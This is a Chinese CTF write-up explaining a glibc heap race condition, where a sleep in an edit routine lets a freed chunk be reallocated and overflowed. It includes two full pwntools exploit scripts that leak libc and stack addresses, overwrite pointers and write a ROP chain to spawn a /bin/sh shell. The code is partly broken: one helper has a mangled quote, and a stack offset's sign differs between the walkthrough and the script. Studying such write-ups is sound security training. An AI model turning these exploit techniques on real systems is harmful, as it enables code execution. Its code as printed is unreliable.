条件竞争glibc堆的详细讲解
字数 1389 2025-08-22 22:47:30

glibc堆条件竞争漏洞分析与利用详解

前言

条件竞争(Race Condition)是指在并发程序中,多个线程或进程在没有适当同步的情况下访问共享资源,导致程序的行为依赖于执行的顺序。在堆利用中,条件竞争可以导致类似溢出写的漏洞。本文将详细讲解glibc堆条件竞争的利用方法。

程序分析

保护机制

程序开启了所有经典堆题保护机制:

  • NX
  • PIE
  • Canary
  • RELRO

数据结构

程序定义了两个关键结构体:

struct chunk_list {
    chunk *chunk_ptr;
};

struct chunk {
    chunk *chunk_arena_ptr;
    int64_t size;
};

功能点分析

  1. add功能

    • 允许用户传入数据定义size,限制在0x4f-0x68之间
    • 在分线程创建两个堆块:
      • 一个存放内存堆块的地址
      • 一个存放传入的数据
    • 将存放内存堆块地址的地址存入主线程chunk_list中
  2. show功能

    • 通过索引分线程的堆块中存放的内存堆块地址
    • 打印内存堆块存放的内容
    • 如果能够修改内存堆块的地址,可以实现任意地址读
  3. free功能

    • 释放两个位置并将指针置为0
    • 无UAF漏洞
  4. edit功能

    • 关键点:包含sleep(1u)调用
    • 在取出size后才进入sleep
    • 如果在edit等待期间free掉原来的堆块并创建新的堆块,会导致同样的位置但size改变,从而造成溢出

漏洞原理

条件竞争流程

  1. 创建一个堆块(如size=0x62)
  2. 编辑该堆块,在sleep位置暂停1秒(此时size仍为0x62)
  3. 在sleep期间:
    • free掉该堆块
    • 创建两个新堆块
  4. 结果:获得了堆溢出能力,可以覆盖下一个chunk的ptr1来控制地址泄露

关键点

  • edit操作中的sleep(1)提供了竞争窗口
  • 在sleep期间可以修改堆布局
  • 利用size不一致导致溢出

利用方法

方法一:覆盖指针泄露libc

  1. 泄露libc地址

    • 通过调试发现thread_arena指针离main_arena较近
    • strncpy使用\x00截断,而地址第三个字节刚好是\x00
    • 覆盖末尾两字节找到可以泄露libc的地址
    • main_arena与libc基址相差0x219c80
  2. 利用步骤

    new(b'a'*0x62)
    edit(0, b'a'*0x60 + b'\xa0\x08')  # 覆盖指针
    free(0)
    new(b'a'*0x58)
    new(b'a'*0x58)
    pause()
    sleep(3)
    show(1)  # 泄露libc地址
    
  3. 控制执行流

    • 观察到rdi可控
    • strtokputs函数会调用ABS @got+偏移
    • 将相关位置替换为system地址,rdi设为/bin/sh
    new(b'a'*0x68)  # chunk 2
    edit(2, b'b'*0x60 + p64(target_addr))
    free(2)
    new(b'a'*0x58)
    new(b'a'*0x58)
    edit(3, b'b'*0x50 + p64(system_addr))
    sleep(1)
    pause()
    sl(b'/bin/sh')
    

方法二:泄露栈地址劫持执行流

  1. 泄露栈地址

    • 由于environ\x00截断不可用
    • _IO_2_1_stdout_下方找到__libc_argv泄露栈地址
    new(b'a'*0x68)  # chunk 2
    edit(2, b'b'*0x60 + p64(target_addr))
    free(2)
    new(b'a'*0x58)
    new(b'a'*0x58)
    sleep(2)
    show(3)
    rl("paper content: ")
    stack_addr = h64() + 0x118
    
  2. 布置ROP链

    • 由于\x00截断,需要分多次写入ROP
    • 每次写前都要sleep,避免进程乱序影响ROP布置
    # 布置pop rdi; ret
    new(b'a'*0x68)  # chunk 4
    edit(4, b'b'*0x60 + p64(stack_addr+8))
    free(4)
    new(b'a'*0x58)
    new(b'a'*0x58)
    sleep(2)
    payload = p64(pop_rdi)
    edit(5, payload)
    
    # 布置/bin/sh地址
    new(b'a'*0x68)  # chunk 6
    edit(6, b'b'*0x60 + p64(stack_addr+8*2))
    free(6)
    new(b'a'*0x58)
    new(b'a'*0x58)
    payload = p64(bin_sh)
    sleep(2)
    edit(7, payload)
    
    # 布置pop rdi+1 (对齐)
    new(b'a'*0x68)  # chunk 8
    edit(8, b'b'*0x60 + p64(stack_addr+8*3))
    free(8)
    new(b'a'*0x58)
    new(b'a'*0x58)
    payload = p64(pop_rdi+1)
    sleep(2)
    edit(9, payload)
    
    # 布置system地址
    new(b'a'*0x68)  # chunk 10
    edit(10, b'b'*0x60 + p64(stack_addr+8*4))
    free(10)
    new(b'a'*0x58)
    new(b'a'*0x58)
    payload = p64(system_addr)
    sleep(2)
    edit(11, payload)
    

关键注意事项

  1. sleep的重要性

    • 确保操作顺序正确
    • 避免进程执行乱序
    • 特别是在show操作前需要sleep确保edit完成
  2. \x00截断问题

    • strncpy会用\x00补齐不足的字节
    • 不能直接修改目标地址,需要减去偏移(如0x50)
  3. 指针覆盖精度

    • 只能覆盖指针的最后两字节
    • 需要找到合适的目标地址

完整利用代码

方法一完整EXP

#!/usr/bin/python3
from pwn import *
import random
import os
import sys
import time
from pwn import *
from ctypes import *

context.clear(arch='amd64', os='linux', log_level='debug')
#context.terminal = ['tmux', 'splitw', '-h']

sla = lambda data, content: mx.sendlineafter(data,content)
sa = lambda data, content: mx.sendafter(data,content)
sl = lambda data: mx.sendline(data)
rl = lambda data: mx.recvuntil(data)
re = lambda data: mx.recv(data)
sa = lambda data, content: mx.sendafter(data,content)
inter = lambda: mx.interactive()
l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))
s=lambda data: mx.send(data)
log_addr=lambda data: log.success("--->"+hex(data))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

def dbg():
    gdb.attach(mx)

libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')
filename = "./heap"
mx = process(filename)
#mx = remote("0192d63fbe8f7e5f9ab5243c1c69490f.q619.dg06.ciihw.cn",43013)
elf = ELF(filename)
libc=elf.libc

# 初始化完成

def new(content):
    rl("\n")
    sl(b'1'+b' '+content)

def show(num):
    rl("\n")
    sl(b'2'+b' '+str(num).encode())

def edit(num,content):
    rl("\n")
    sl(b'3'+b' '+str(num).encode()+b':'+content)

def free(num):
    rl("\n")
    sl(b'4'+b' '+str(num).encode())

new(b'a'*0x62)
edit(0,b'a'*0x60+b'\xa0\x08')
free(0)
new(b'a'*0x58)
new(b'a'*0x58)
sleep(2)
show(1)
rl("paper content: ")
libc_addr=h64()-0x219c80
log_addr(libc_addr)
libc.address=libc_addr
target_addr=libc_addr+0x219058-0x50
system_addr =libc.sym["system"]

new(b'a'*0x68)#2
edit(2,b'b'*0x60+p64(target_addr))
free(2)
new(b'a'*0x58)
new(b'a'*0x58)

edit(3,b'b'*0x50+p64(system_addr))
sleep(1)
pause()
sl(b'/bin/sh')

inter()

方法二完整EXP

#!/usr/bin/python3
from pwn import *
import random
import os
import sys
import time
from pwn import *
from ctypes import *

context.clear(arch='amd64', os='linux', log_level='debug')
#context.terminal = ['tmux', 'splitw', '-h']

sla = lambda data, content: mx.sendlineafter(data,content)
sa = lambda data, content: mx.sendafter(data,content)
sl = lambda data: mx.sendline(data)
rl = lambda data: mx.recvuntil(data)
re = lambda data: mx.recv(data)
sa = lambda data, content: mx.sendafter(data,content)
inter = lambda: mx.interactive()
l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))
s=lambda data: mx.send(data)
log_addr=lambda data: log.success("--->"+hex(data))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

def dbg():
    gdb.attach(mx)

libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')
filename = "./heap"
mx = process(filename)
#mx = remote("0192d63fbe8f7e5f9ab5243c1c69490f.q619.dg06.ciihw.cn",43013)
elf = ELF(filename)
libc=elf.libc

# 初始化完成

def new(content):
    rl("\n")
    sl(b'1'+b' '+content)

def show(num):
    rl("\n")
    sl(b'2'+b' '+str(num).encode())

def edit(num,content):
    rl("\n")
    sl(b'3'+b' '+str(num).encode()+b:'+content)

def free(num):
    rl("\n")
    sl(b'4'+b' '+str(num).encode())

new(b'a'*0x62)
edit(0,b'a'*0x60+b'\xa0\x08')
free(0)
new(b'a'*0x58)
new(b'a'*0x58)
sleep(2)
show(1)
rl("paper content: ")
libc_addr=h64()-0x219c80
log_addr(libc_addr)
libc.address=libc_addr
target_addr=libc_addr+0x21aa20
system_addr =libc.sym["system"]
pop_rdi=0x000000000002a3e5+libc_addr
bin_sh = next(libc.search(b'/bin/sh\0'))

log_addr(pop_rdi)
log_addr(pop_rdi+1)
log_addr(system_addr)
log_addr(bin_sh)

new(b'a'*0x68)#2
edit(2,b'b'*0x60+p64(target_addr))
free(2)
new(b'a'*0x58)
new(b'a'*0x58)
sleep(2)
show(3)
rl("paper content: ")
stack_addr=h64()-0x118
log_addr(stack_addr)

new(b'a'*0x68)#4
edit(4,b'b'*0x60+p64(stack_addr+8))
free(4)
new(b'a'*0x58)
new(b'a'*0x58)
sleep(2)
payload=p64(pop_rdi)
edit(5,payload)

new(b'a'*0x68)#6
edit(6,b'b'*0x60+p64(stack_addr+8*2))
free(6)
new(b'a'*0x58)
new(b'a'*0x58)
payload=p64(bin_sh)
sleep(2)
edit(7,payload)

new(b'a'*0x68)#8
edit(8,b'b'*0x60+p64(stack_addr+8*3))
free(8)
new(b'a'*0x58)
new(b'a'*0x58)
payload=p64(pop_rdi+1)
sleep(2)
edit(9,payload)

new(b'a'*0x68)#10
edit(10,b'b'*0x60+p64(stack_addr+8*4))
free(10)
new(b'a'*0x58)
new(b'a'*0x58)
payload=p64(system_addr)
sleep(2)
edit(11,payload)

dbg()
inter()

总结

glibc堆条件竞争漏洞利用的关键在于:

  1. 识别edit中的sleep(1)提供的竞争窗口
  2. 利用size不一致导致的堆溢出
  3. 精心设计指针覆盖以泄露关键地址
  4. 注意\x00截断和操作顺序问题
  5. 通过多次操作逐步完成利用链

这种技术在现代CTF比赛中较为常见,理解其原理对于提升堆利用能力有很大帮助。

glibc堆条件竞争漏洞分析与利用详解 前言 条件竞争(Race Condition)是指在并发程序中,多个线程或进程在没有适当同步的情况下访问共享资源,导致程序的行为依赖于执行的顺序。在堆利用中,条件竞争可以导致类似溢出写的漏洞。本文将详细讲解glibc堆条件竞争的利用方法。 程序分析 保护机制 程序开启了所有经典堆题保护机制: NX PIE Canary RELRO 数据结构 程序定义了两个关键结构体: 功能点分析 add功能 允许用户传入数据定义size,限制在0x4f-0x68之间 在分线程创建两个堆块: 一个存放内存堆块的地址 一个存放传入的数据 将存放内存堆块地址的地址存入主线程chunk_ list中 show功能 通过索引分线程的堆块中存放的内存堆块地址 打印内存堆块存放的内容 如果能够修改内存堆块的地址,可以实现任意地址读 free功能 释放两个位置并将指针置为0 无UAF漏洞 edit功能 关键点:包含 sleep(1u) 调用 在取出size后才进入sleep 如果在edit等待期间free掉原来的堆块并创建新的堆块,会导致同样的位置但size改变,从而造成溢出 漏洞原理 条件竞争流程 创建一个堆块(如size=0x62) 编辑该堆块,在sleep位置暂停1秒(此时size仍为0x62) 在sleep期间: free掉该堆块 创建两个新堆块 结果:获得了堆溢出能力,可以覆盖下一个chunk的ptr1来控制地址泄露 关键点 edit操作中的sleep(1)提供了竞争窗口 在sleep期间可以修改堆布局 利用size不一致导致溢出 利用方法 方法一:覆盖指针泄露libc 泄露libc地址 通过调试发现 thread_arena 指针离 main_arena 较近 strncpy 使用 \x00 截断,而地址第三个字节刚好是 \x00 覆盖末尾两字节找到可以泄露libc的地址 main_arena 与libc基址相差0x219c80 利用步骤 控制执行流 观察到rdi可控 strtok 和 puts 函数会调用 ABS @got+偏移 将相关位置替换为system地址,rdi设为 /bin/sh 方法二:泄露栈地址劫持执行流 泄露栈地址 由于 environ 有 \x00 截断不可用 在 _IO_2_1_stdout_ 下方找到 __libc_argv 泄露栈地址 布置ROP链 由于 \x00 截断,需要分多次写入ROP 每次写前都要sleep,避免进程乱序影响ROP布置 关键注意事项 sleep的重要性 确保操作顺序正确 避免进程执行乱序 特别是在show操作前需要sleep确保edit完成 \x00截断问题 strncpy 会用 \x00 补齐不足的字节 不能直接修改目标地址,需要减去偏移(如0x50) 指针覆盖精度 只能覆盖指针的最后两字节 需要找到合适的目标地址 完整利用代码 方法一完整EXP 方法二完整EXP 总结 glibc堆条件竞争漏洞利用的关键在于: 识别edit中的sleep(1)提供的竞争窗口 利用size不一致导致的堆溢出 精心设计指针覆盖以泄露关键地址 注意\x00截断和操作顺序问题 通过多次操作逐步完成利用链 这种技术在现代CTF比赛中较为常见,理解其原理对于提升堆利用能力有很大帮助。